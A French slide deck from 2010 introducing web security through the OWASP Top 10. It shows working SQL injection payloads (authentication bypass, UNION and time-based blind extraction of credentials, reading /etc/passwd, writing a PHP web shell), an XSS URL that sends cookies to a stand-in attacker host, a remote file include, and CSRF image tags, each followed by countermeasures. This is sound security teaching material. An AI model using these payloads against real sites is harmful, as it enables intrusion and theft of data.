1. SÉCURITÉ WEB
(introduction)
cedric.foll@(laposte.net|education.gouv.fr)
http://cedric.foll.name/
Sous licence « creative common »
Paternité, Partage des Conditions Initiales à l'Identique
http://creativecommons.org/licenses/by-sa/2.0/fr/
1
mercredi 13 janvier 2010
2. PLAN
Les principales vulnérabilités et attaques associées
Scénario d’attaque
De la faille web à la prise en main du serveur (ou du
client)
2
mercredi 13 janvier 2010
3. VULNÉRABILITÉS
Top 10 2010 de l’OWASP (Open Web Application Security Project) :
A1 Injection
A2 Cross Site Scripting (XSS)
A3 Broken Authentication and Session Management
A4 Insecure Direct Object Reference
A5 Cross Site Request Forgery (CSRF)
A6 Security Misconfiguration
A7 Failure to Restrict URL Access
A8 Unvalidated Redirects and Forwards
A9 Insecure Cryptographic Storage
A10 Insufficient Transport Layer Protection
3
mercredi 13 janvier 2010
4. A1
INJECTION
FLAW
Attaque
Impact
Contre mesure
4
mercredi 13 janvier 2010
5. INJECTION FLAWS :
PRINCIPE DE L’ATTAQUE
Injection Flaw :
Injection de code qui sera exécuté par le « serveur »
Le code est en général du SQL, mais aussi possible avec d’autres
langages de requête (ldap, XPatch, ...) ou encore du code
interprété (fonction de type « eval », « system » et consorts...).
Probablement le moyen le plus simple pour prendre le contrôle
d’un serveur.
Nous n’abordons ici que les SQL Injection en prenant comme
exemple PHP/Mysql.
5
mercredi 13 janvier 2010
7. SQL INJECTION :
PRINCIPE DE L’ATTAQUE
L'attaquant envoie au site par différents champs (formulaire GET, POST,
Cookies, User-Agent, ...) du code SQL qui sera exécuté par le serveur.
Le serveur utilise les données envoyées par l'utilisateur pour construire
une requête SQL.
Impact sur l’application web
Contournement du processus d'authentification.
Récupération (ou altération) de données dans la base.
Récupération (ou dépôt) de fichier.
Exécution de code arbitraire.
7
mercredi 13 janvier 2010
8. SQL INJECTION
CONTOURNEMENT D’IDENTIFICATION
8
mercredi 13 janvier 2010
9. SQL INJECTION
CONTOURNEMENT
D’IDENTIFICATION
Requête SQL construite :
select * from user where user = '$user' and
passwd='$passwd'
Paramètres envoyés par le pirate
$user = 'or 1=1#
$passwd = toto
Ce qui va être envoyé vers le serveur SQL
select * from user where user = '' or 1=1# ' and
passwd='toto'
9
mercredi 13 janvier 2010
10. SQL INJECTION
CONTOURNEMENT
D’IDENTIFICATION
Conséquences
La requête SQL va renvoyer des résultats et donc le test suivant va aboutir :
if(mysql_num_rows($results) != 0)
Le pirate est authentifié !
Que faire si le test avait été ?
if(mysql_num_rows($results) == 1)
Le pirate peut utiliser la commande SQL limit :
limit nombre d’éléments offset indice
select * from user where user = '' or 1=1 limit 1 offset 0 ->
renvoie le premier élément (indice 0) de la table.
10
mercredi 13 janvier 2010
11. SQL INJECTION
CONTOURNEMENT
D’IDENTIFICATION
Envoyer des caractères spéciaux dans les champs des
formulaires et voir si des erreurs sont générées.
caractères à essayer : ' (quote), '' (double quote), (, ), #,
--, ;
Exemple d'erreur pouvant apparaître :
11
mercredi 13 janvier 2010
12. SQL INJECTION
CONTOURNEMENT
D’IDENTIFICATION
En générale faire un ' or 1=1# ne suffit pas :
La requête SQL peut être plus complexe (usage de
parenthèses par exemple):
select * from user where
(login='$login' and passwd='$passwd')
On injecte :
login = ' or 1=1)#
12
mercredi 13 janvier 2010
13. SQL INJECTION
CONTOURNEMENT
D’IDENTIFICATION
Les messages d'erreur peuvent aider à construire l'attaque :
Error in query: You have an error in your
SQL syntax; check the manual that
corresponds to your MySQL server version
for the right syntax to use near 'toto')'
at line 1
Les messages d'erreur ci dessus montrent qu'il y a une
parenthèse à fermer pour construire la réponse.
13
mercredi 13 janvier 2010
14. LA CONTRE-MESURE
(HASARDEUSE) EN PHP
magic_quote_gpc = On
Ce réglage remplace toutes les « quote » par « antislash quote »
dans tout ce qu'envoie l'utilisateur (GET, POST, COOKIES).
Impossibilité de contourner les processus d'authentification
par SQL injection !
« This feature has been DEPRECATED as of PHP 5.3.0 and
REMOVED as of PHP 6.0.0. Relying on this feature is highly
discouraged. » (http://php.net/manual/en/
security.magicquotes.php)
14
mercredi 13 janvier 2010
16. SQL INJECTION
RÉCUPÉRATION DE DONNÉES
Si le développeur utilise gpc_magic_quotes (ou s’il filtre les
« quote » dans les entrées utilisateurs) ?
Si contourner l’authentification ne vous suffit pas (parce que ce
qui vous intéresse est de dumper la table) ?
Les solutions :
UNION query (inband) SQL Injection
Blind SQL Injection
Full blind SQL injection (ou time based SQL Injection)
16
mercredi 13 janvier 2010
17. UNION QUERY (INBAND)
SQL INJECTION
Considérons le code suivant dont le résultat est ensuite affiché par le serveur
d’application :
select texte from commentaire where id=$id
Avec MySQL (et la plupart des bases de données), les comparaisons sur les nombres se
font sans « quote ».
Il est également possible d’utiliser des chaines sans « quote » en les écrivant en
hexadécimal (0x414243 = ‘ABC’).
Pour exploiter cette faille, il est possible d’envoyer ceci :
id = 3141 union select login from utilisateurs limit 1 offset 0
Si dans la table « commentaire », il n’y a pas d’entrée avec comme id « 3141 », la
commande renverra le premier « login » de la table « utilisateurs ».
17
mercredi 13 janvier 2010
18. ATTAQUE
Il faut à gauche et à droite de l’UNION avoir le même nombre de champs (1
champ dans notre exemple).
Assez simple à gérer, il suffit d’utiliser la commande «order by» pour
déterminer, par tâtonnement, le nombre d’éléments dans la requête:
id = 3141 order by 6 #
Puis lorsque l’on a trouvé le nombre maximum ne générant pas d’erreurs:
id = 3141 union select 1,2,3,4,5,6 #
Présences de parenthèses...
Par tâtonnement en s’appuyant, le cas échéant, sur les messages d’erreur.
18
mercredi 13 janvier 2010
19. ATTAQUE
Certaines bases (telles que PostgreSQL mais pas MySQL) attendent le
même type de données à gauche et à droite du UNION.
Il existe des fonctions de type CAST pour s’en sortir.
Il faut connaître des tables et des colonnes à récupérer.
Facile si on possède les sources de l'application.
Sinon cela dépend de la base de données et de sa version :
À partir de MySQL 5.0 la base « information_schema » contient les
META données.
Sinon par « bruteforce » avec des chances de succès très aléatoire.
19
mercredi 13 janvier 2010
20. ATTAQUE
Il est aussi possible d’utiliser la commande concat (MySQL)
pour aller plus vite :
id = 3141 union select concat(login,
111,password) from utilisateurs limit 1
offset 0
20
mercredi 13 janvier 2010
21. BLIND SQL INJECTION
Que faire si l’on arrive à injecter du code, mais que le serveur
d’application n’affiche pas le résultat ?
C’est le cas, notamment, dans les processus
d’authentification.
On est juste capable de savoir si la commande renvoie
vrai ou faux.
Dans la pratique, c’est quelque chose qui arrive
relativement souvent (et pas seulement dans les requêtes
liées à une identification).
21
mercredi 13 janvier 2010
22. ATTAQUE
Considérons le code suivant utilisé pour afficher le nombre de
clients ayant réalisé plus de « nb » achats.
select COUNT(*) from client where achats >=
$nb
Injections :
nb = 3141 or 1=1 # affiche le nombre total de clients
dans la base
nb = 0 and 1=0 # affiche 0
22
mercredi 13 janvier 2010
23. ATTAQUE
Récupération du contenu de la variable @@version
Récupération octet par octet par dichotomie :
nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 128
Si vrai :
nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 192
Sinon :
nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 64
...
Puis (passage au second octet) :
nb = 0 and ascii(SUBSTRING(@@version,2,1)) >= 128
23
mercredi 13 janvier 2010
24. ATTAQUE
Cela peut sembler compliqué et long
Mais c’est facilement scriptable et marche souvent très
bien.
Il faut cibler les données à récupérer (par exemple login/
mots de passe).
24
mercredi 13 janvier 2010
25. FULL BLIND SQL
INJECTION
Que faire si l’on arrive à injecter du code, mais même pas à savoir s’il
renvoie vrai ou faux ?
Il reste un (maigre) espoir, la commande sleep (MySQL >= 5.0.12) et
les exécutions conditionnelles (IF sous MySQL).
IF(1=1,foo,bar) -> renvoie foo
L’attaque devient :
nb = 3141 or IF(ascii(SUBSTRING(@@version,1,1))
>= 128,sleep(5),1)
Si le serveur attend 5 secondes c’est que le test a réussi...
25
mercredi 13 janvier 2010
26. ATTAQUE
Cela peut sembler compliqué et long
C’est exact !
Il faut très précisément cibler les données à récupérer
(par exemple, le mot de passe MySQL « root »).
26
mercredi 13 janvier 2010
27. SQL INJECTION
WHAT ELSE ?
De même qu’il est possible de lire des données il est possible d’en
ajouter (INSERT), supprimer (DELETE), modifier (UPDATE).
La plupart des bases de données, dont MySQL, permettent de lire
et d’écrire des fichiers :
SELECT LOAD_FILE('/etc/passwd')
SELECT ‘<?php exec($cmd,$res);echo $res;?>’
INTO dumpfile '/var/www/shell.php’
Il est même possible, avec certaines bases de données (mais pas
MySQL), d'exécuter directement des commandes systèmes.
27
mercredi 13 janvier 2010
28. EN BREF
Point d’entrée très efficace pour compromettre un site web.
A minima permet un dump des tables accessibles jusqu’à
devenir «administrateur» des applications web:
Permet assez souvent de déposer du code (ajout de fichiers,
plugin, ...)
Mais aussi (avec de la chance) :
Exécution de commandes systèmes.
Ou possibilité de déposer un shell php.
28
mercredi 13 janvier 2010
29. EN BREF
Pour les attaques manuelles :
Paros (http://www.parosproxy.org), Burb (http://portswigger.net/)
Les cheat sheets (http://pentestmonkey.net/cheat-sheets/)
Pour MySQL, PostgreSQL, Oracle, DB2, Informix, MSSQL, Ingres
SQL liste les meta tables, la manière d’obtenir la nième ligne, le
nième octet, de lire/écrire un fichier...
Un excellent outil d’attaque « automatique »
sqlmap (http://sqlmap.sourceforge.net)
29
mercredi 13 janvier 2010
30. CONTRE MESURES
Granularité des privilèges
Une application de type livre d’or ne doit pas être MySQL root
sur la base de données !
Filtrages des données envoyées par l’utilisateur
Quand c’est un nombre on le vérifie
Quand c’est une chaine, on utilise avec PHP
mysql_real_escape_string
Utilisation de « Prepared Statements »
30
mercredi 13 janvier 2010
32. A2
XSS
Attaque
Impact
Contre mesures
32
mercredi 13 janvier 2010
33. XSS : PRINCIPE DE
L’ATTAQUE
Le principe des attaques XSS est d’injecter et de faire exécuter un code
arbitraire (en général du JavaScript) navigateur Web.
Types d’attaque :
XSS persistant : le pirate piège une page en déposant un code sur la page
d’un site
Dépôt de code hostile sur un forum, email malicieux lu sur un webmail
XSS volatile : le pirate crée un lien qui, lorsqu’il sera visité, conduira à
l’exécution du code
http://site.fr/index.php?display=<script>alert(document.cookie)</
script>
33
mercredi 13 janvier 2010
34. XSS : IMPACT
Historiquement (ie début des années 2000) :
Vol des sessions utilisateurs (cookie de session envoyé sur
la page du pirate)
http://site.fr/index.php?
display=<script>document.location='http://www.site-
pirate.com/steal.php? '%20+document.cookie</script>
Phishing
Insertion d’une fausse page d'authentification via un
« iframe »
34
mercredi 13 janvier 2010
35. XSS : IMPACT
L’impact explose avec la montée en puissance du Web 2.0 et d’Ajax
« We're entering a time when XSS has become the new Buffer Overflow and
Javascript Malware is the new shellcode » (Jeremiah Grossman, Whitehat Security)
Quelques exemples :
Redirige le navigateur vers une page contenant des exploits pour prendre le contrôle
de la machine de la victime.
Scanner de ports (ie comme nmap) sur le LAN où se trouve le navigateur de la
victime.
Attaquer les sites web du réseau interne à la recherche de XSS et SQL Injection
(«proof of concept» Jikto)
Trouver le hash NTLM (mot de passe Windows) du poste sur lequel tourne le
navigateur (http://code.google.com/p/squirtle/)
...
Et envoyer les résultats de tout ceci au pirate...
35
mercredi 13 janvier 2010
36. XSS : IMPACT
Et les réseaux sociaux ?
Possibilité d’écrire des « worms » XSS
Samy Worm touche MySpace en 2007
Un utilisateur visitant un profil infecté (ie code JavaScript
de réplication) provoque l’infection de son propre profil.
1.000.000 de profils infectés en 20 heures.
D’autres exemples depuis sur orkut, facebook, twitter, ...
36
mercredi 13 janvier 2010
37. XSS : EN BREF
Permet la prise de contrôle totale du navigateur
37
mercredi 13 janvier 2010
38. CONTRE MESURE
Filtrer les entrées utilisateurs
Mais surtout : réencoder, au moment de l’affichage, tout ce
qui vient de l’utilisateur.
Par exemple en PHP, utilisation de htmlentities()
38
mercredi 13 janvier 2010
39. POUR ALLER PLUS LOIN
Présentation de Pierre Gardenat à la SSTIC 2009 :
<script>alert('XSS')</script>
XSS - de la brise à l'ouragan
voir http://actes.sstic.org/SSTIC09/
39
mercredi 13 janvier 2010
40. MALICIOUS
FILE
EXECUTION
Cette attaque était A3 en 2007
selon l’OWASP, supprimée en 2010.
Attaque
Impact
Contre mesures
40
mercredi 13 janvier 2010
41. MALICIOUS FILE
EXECUTION
Faire exécuter au serveur un fichier malveillant
Typiquement un PHP Shell (c99.php, r57.php...), un « payload »
metasploit ou sqlmap en PHP, ASP, JSP...
Comment le déposer ?
Accès en écriture sur le serveur (FTP, SSH, HTTP PUT, WebDav...)
Application permettant le dépôt de fichier et qui ne vérifie pas (ou
mal) qu’il ne s’agit pas de code.
...
41
mercredi 13 janvier 2010
42. MALICIOUS FILE
EXECUTION
Particularité de PHP
include(« $file ») fonctionne avec $file contenant une
URL... (de même que toutes les fonctions relatives à
l’ouverture d’un fichier).
Source d’un très grand nombre de failles PHP
Le pirate réussit à écraser le contenu de la variable et
l'initialise à « http://pirate.com/c99.gif »
Désactivable via allow_url_fopen = Off dans php.ini.
42
mercredi 13 janvier 2010
45. IMPACT & CONTRE
MESURES
Impact
Prise en main du système
Contre mesure
Désactiver allow_url_fopen.
Interdire, si possible, l'exécution de commandes (exec,
system, ...) dans les pages web.
Durcissement de la configuration système.
45
mercredi 13 janvier 2010
46. A3
BROKEN
AUTHENTICATION
AND SESSION
MANAGEMENT
46
mercredi 13 janvier 2010
47. RAPPELS SUR HTTP
HTTP est un protocole sans états :
Par conséquent, la gestion des états est du ressort du code
applicatif (cookies, GET, POST...)
Le suivi de l’utilisateur se fait via des « SESSION ID » et les
caractéristiques de l’utilisateur doivent être stockées du côté
du serveur via des « variables de session ».
47
mercredi 13 janvier 2010
48. SESSION ID
Les SESSION ID doivent être aléatoires et ne pas pouvoir être devinées par un
pirate :
Elles ne doivent pas transiter en claire.
Éviter de les faire transiter via GET (ie dans l’URL) car alors les SESSION ID
sont stockés en claire dans les logs...
Elles doivent s’appuyer sur des mécanismes de générateurs aléatoires robustes :
Par exemple, pas un MD5 de la date de connexion...
Elles doivent avoir un degré d’entropie important pour éviter les attaques par
force brute.
Autant que possible s’appuyer sur le mécanisme proposé par le serveur d’application
utilisé.
48
mercredi 13 janvier 2010
49. VARIABLES DE
SESSIONS
Tout ce qui caractérise l’utilisateur doit être géré par des
variables de sessions
Ne pas utiliser de champs « hiddens » pour ceci !
HTTP est un protocole sans états, par conséquent on ne
peut pas vérifier de quelle page il vient ni s’il a modifié des
variables cachées.
49
mercredi 13 janvier 2010
50. ATTAQUE
Deviner le numéro de session d’un utilisateur et récupérer
ses privilèges.
Modifier le contenu d’un champ caché utilisé comme
variable de sessions (par un programmeur incompétent :))
Par exemple sur un site marchand, le prix des achats est
géré par une variable cachée...
50
mercredi 13 janvier 2010
51. A4
INSECURE
DIRECT OBJECT
REFERENCE
51
mercredi 13 janvier 2010
52. INSECURE DIRECT
OBJECT REFERENCE
Définition de l’OWASP : « Attacker, who is an authorized system
user, simply changes a parameter value that directly refers to a
system object to another object they aren’t authorized for. »
Par exemple dans une application de gestion de stocks, pour
un utilisateur donné, l’application ne propose l’accès qu’aux
stocks gérés par l’utilisateur par un menu déroulant :
Pour l’utilisateur A, accès à « view_stock.php?st=(1|3|4) »
Si A essaie « view_stock.php?st=2 » et que ça passe, il y a
un problème...
52
mercredi 13 janvier 2010
53. A5
CROSS SITE
REQUEST
FORGERY (CSRF)
53
mercredi 13 janvier 2010
54. CSRF : PRINCIPE
Conduire l’utilisateur sur un site malveillant.
Sur ce site, conduire son navigateur à réaliser des actions sur un site sur
lequel il est authentifié (par exemple en lui faisant charger des images).
Exemple :
Le pirate construit une page qui contient des « images » dont l’URL
correspond à l’ajout des articles sur monamazon.com, puis une image qui
modifie l’adresse de livraison vers sa propre adresse :
<img src=http://monamazon.com?ajout=iMac27>
<img src=http://monamazon.com?nvl_adr=Cedric Foll rue de Lattre
de Tassigny 76130_Mont Saint Aignan>
54
mercredi 13 janvier 2010
55. CSRF : CONTRE
MESURES
Utiliser des POST à la place des GET?
L’attaque par chargement d’images ne fonctionne plus, mais le
pirate peut très bien utiliser du javascript à la place.
Utilisation de « token »
Sur chaque page, création d’un token aléatoire et temporaire
envoyé via un champ « hidden » dont on valide au niveau du
serveur la validité sur chaque page...
On valide ainsi que le formulaire envoyé ait été créé dans les
quelques dernières minutes.
55
mercredi 13 janvier 2010
56. A9
INSECURE
CRYPTOGRAPHIC
STORAGE
56
mercredi 13 janvier 2010
57. INSECURE
CRYPTOGRAPHIC STORAGE
Quelques règles :
Les mots de passes des utilisateurs doivent, si possible,
être stockés sous forme de condensat avec si possible une
graine afin de ralentir les attaques par force brute.
Les données sensibles devraient être chiffrées.
57
mercredi 13 janvier 2010
58. A6 SECURITY
MISCONFIGURATION
A7 FAILURE TO RESTRICT
URL ACCESS
A8 UNVALIDATED
REDIRECTS AND
FORWARDS
A10 INSUFFICIENT
TRANSPORT LAYER
PROTECTION
58
mercredi 13 janvier 2010